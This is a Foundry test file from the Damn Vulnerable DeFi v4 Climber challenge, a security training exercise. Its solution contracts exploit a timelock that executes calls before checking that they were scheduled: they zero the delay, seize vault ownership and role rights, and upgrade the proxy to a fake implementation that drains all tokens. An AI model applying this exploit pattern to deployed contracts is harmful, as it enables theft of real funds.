-
Notifications
You must be signed in to change notification settings - Fork 116
/
Copy pathClimber.t.sol
166 lines (136 loc) · 5.68 KB
/
Climber.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {ClimberVault} from "../../src/climber/ClimberVault.sol";
import {ClimberTimelock, CallerNotTimelock, PROPOSER_ROLE, ADMIN_ROLE} from "../../src/climber/ClimberTimelock.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
contract ClimberChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address proposer = makeAddr("proposer");
address sweeper = makeAddr("sweeper");
address recovery = makeAddr("recovery");
uint256 constant VAULT_TOKEN_BALANCE = 10_000_000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant TIMELOCK_DELAY = 60 * 60;
ClimberVault vault;
ClimberTimelock timelock;
DamnValuableToken token;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy the vault behind a proxy,
// passing the necessary addresses for the `ClimberVault::initialize(address,address,address)` function
vault = ClimberVault(
address(
new ERC1967Proxy(
address(new ClimberVault()), // implementation
abi.encodeCall(ClimberVault.initialize, (deployer, proposer, sweeper)) // initialization data
)
)
);
// Get a reference to the timelock deployed during creation of the vault
timelock = ClimberTimelock(payable(vault.owner()));
// Deploy token and transfer initial token balance to the vault
token = new DamnValuableToken();
token.transfer(address(vault), VAULT_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(vault.getSweeper(), sweeper);
assertGt(vault.getLastWithdrawalTimestamp(), 0);
assertNotEq(vault.owner(), address(0));
assertNotEq(vault.owner(), deployer);
// Ensure timelock delay is correct and cannot be changed
assertEq(timelock.delay(), TIMELOCK_DELAY);
vm.expectRevert(CallerNotTimelock.selector);
timelock.updateDelay(uint64(TIMELOCK_DELAY + 1));
// Ensure timelock roles are correctly initialized
assertTrue(timelock.hasRole(PROPOSER_ROLE, proposer));
assertTrue(timelock.hasRole(ADMIN_ROLE, deployer));
assertTrue(timelock.hasRole(ADMIN_ROLE, address(timelock)));
assertEq(token.balanceOf(address(vault)), VAULT_TOKEN_BALANCE);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_climber() public checkSolvedByPlayer {
ClimberSolution climberSolution = new ClimberSolution(vault, timelock, token, recovery);
climberSolution.go();
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
assertEq(token.balanceOf(address(vault)), 0, "Vault still has tokens");
assertEq(token.balanceOf(recovery), VAULT_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}
contract ClimberSolution {
ClimberTimelock timelock;
ClimberVault vault;
DamnValuableToken token;
address[] targets;
uint256[] values;
bytes[] dataElements;
bytes32 salt = bytes32(0);
address recovery;
constructor(ClimberVault vault_, ClimberTimelock timelock_, DamnValuableToken token_, address recovery_) {
vault = vault_;
timelock = timelock_;
recovery = recovery_;
token = token_;
}
function go() external {
uint256 N = 4;
targets = new address[](N);
values = new uint256[](N);
dataElements = new bytes[](N);
// ClimberTimelock::updateDelay(0)
targets[0] = address(timelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSignature("updateDelay(uint64)", uint64(0));
// ClimberVault::transferOwnership(player)
targets[1] = address(vault);
values[1] = 0;
dataElements[1] = abi.encodeWithSignature("transferOwnership(address)", address(this));
// ClimberTimelock::_grantRole(ADMIN_ROLE, address(this))
targets[2] = address(timelock);
values[2] = 0;
dataElements[2] = abi.encodeWithSignature("grantRole(bytes32,address)", PROPOSER_ROLE, address(this));
// ClimberSolution::doSchedule()
targets[3] = address(this);
values[3] = 0;
dataElements[3] = abi.encodeWithSignature("doSchedule()");
timelock.execute(targets, values, dataElements, salt);
address climberFakeVault = address(new ClimberFakeVault());
// We're now the owner of the vault!!!!!
vault.upgradeToAndCall(climberFakeVault, abi.encodeWithSignature("transferTokenToRecovery(address,address)", token, recovery));
}
function doSchedule() external {
timelock.schedule(targets, values, dataElements, salt);
}
}
contract ClimberFakeVault {
function transferTokenToRecovery(DamnValuableToken token, address recovery) external {
token.transfer(recovery, token.balanceOf(address(this)));
}
function proxiableUUID() public pure returns (bytes32) {
return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
}